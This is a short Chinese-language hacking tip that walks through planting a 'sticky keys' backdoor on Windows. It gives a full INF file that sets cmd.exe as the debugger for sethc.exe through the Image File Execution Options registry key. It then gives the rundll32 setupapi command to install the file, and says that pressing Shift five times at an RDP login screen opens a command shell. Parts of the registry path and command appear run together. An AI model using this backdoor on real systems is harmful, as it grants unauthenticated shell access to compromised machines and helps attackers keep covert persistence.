利用inf文件添加shift后门

[Version]

Signature="$WINDOWSNT$"

[DefaultInstall]

AddReg=My_AddReg_Name
[My_AddReg_Name]

HKLM,SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\sethc.exe,debugger,0x00000000,c:\\windows\\system32\\cmd.exe


然后上传到一个可以执行目录，比如我这里上传到c:\windows\temp\i.inf然后在命令行执行
rundll32.exesetupapi,InstallHinfSectionDefaultInstall128c:\windows\temp\i.inf


然后远程登录3389，按5下shift即可跳出cmd.exe


为什么要命令行？隐蔽性？大家自行掂量
*
*